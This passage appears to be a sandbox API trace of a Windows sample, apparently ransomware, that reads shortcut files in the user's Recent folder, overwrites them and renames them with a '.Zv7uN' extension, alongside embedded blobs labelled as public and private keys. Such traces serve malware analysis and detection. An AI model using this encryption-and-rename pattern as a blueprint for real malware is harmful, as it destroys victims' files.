lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.437] GetCurrentThreadId () returned 0xa30 [0082.437] GetCurrentThreadId () returned 0xa30 [0082.437] GetCurrentThreadId () returned 0xa30 [0082.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ngYhIzBqjK2r.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ngyhizbqjk2r.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.437] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.437] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.437] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3fc [0082.437] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.437] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x3fc, lpOverlapped=0x0) returned 1 [0082.439] CloseHandle (hObject=0x124) returned 1 [0082.439] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ngYhIzBqjK2r.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ngyhizbqjk2r.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.440] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x3fc, lpOverlapped=0x0) returned 1 [0082.442] CloseHandle (hObject=0x124) returned 1 [0082.443] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ngYhIzBqjK2r.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ngyhizbqjk2r.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ngYhIzBqjK2r.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ngyhizbqjk2r.lnk.zv7un")) returned 1 [0082.444] GetCurrentThreadId () returned 0xa30 [0082.444] GetCurrentThreadId () returned 0xa30 [0082.444] GetCurrentThreadId () returned 0xa30 [0082.444] GetCurrentThreadId () returned 0xa30 [0082.444] GetCurrentThreadId () returned 0xa30 [0082.445] GetCurrentThreadId () returned 0xa30 [0082.445] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbc4de0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d358d60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d358d60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x93b, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="nNUix.lnk", cAlternateFileName="")) returned 1 [0082.445] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.445] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nNUix.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nnuix.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbc4de0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d358d60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d358d60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x93b)) returned 1 [0082.445] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nNUix.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nnuix.lnk")) returned 0x20 [0082.445] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nNUix.lnk", dwFileAttributes=0x80) returned 1 [0082.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.448] GetCurrentThreadId () returned 0xa30 [0082.448] GetCurrentThreadId () returned 0xa30 [0082.448] GetCurrentThreadId () returned 0xa30 [0082.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.449] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.449] GetCurrentThreadId () returned 0xa30 [0082.449] GetCurrentThreadId () returned 0xa30 [0082.449] GetCurrentThreadId () returned 0xa30 [0082.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nNUix.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nnuix.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.449] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.449] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.449] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x93b [0082.449] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.450] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x93b, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x93b, lpOverlapped=0x0) returned 1 [0082.545] CloseHandle (hObject=0x124) returned 1 [0082.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nNUix.lnk" (normalized: "c:\\users\\5p5nrgjn0js 